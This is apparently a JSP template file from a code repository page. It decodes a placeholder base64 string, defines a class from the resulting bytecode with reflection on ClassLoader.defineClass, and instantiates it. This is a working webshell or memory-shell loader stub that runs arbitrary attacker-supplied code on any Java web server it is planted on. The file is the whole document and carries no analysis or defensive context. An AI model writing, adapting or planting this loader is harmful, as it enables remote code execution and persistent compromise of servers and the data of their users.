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16 lines
898 B
Plaintext
16 lines
898 B
Plaintext
<%
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String base64Str = "{{base64Str}}";
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byte[] bytecode = null;
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try {
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Class base64Clz = Class.forName("java.util.Base64");
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Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
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bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
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} catch (ClassNotFoundException ee) {
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Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
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bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
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}
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java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
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defineClass.setAccessible(true);
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Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
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clazz.newInstance();
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%> |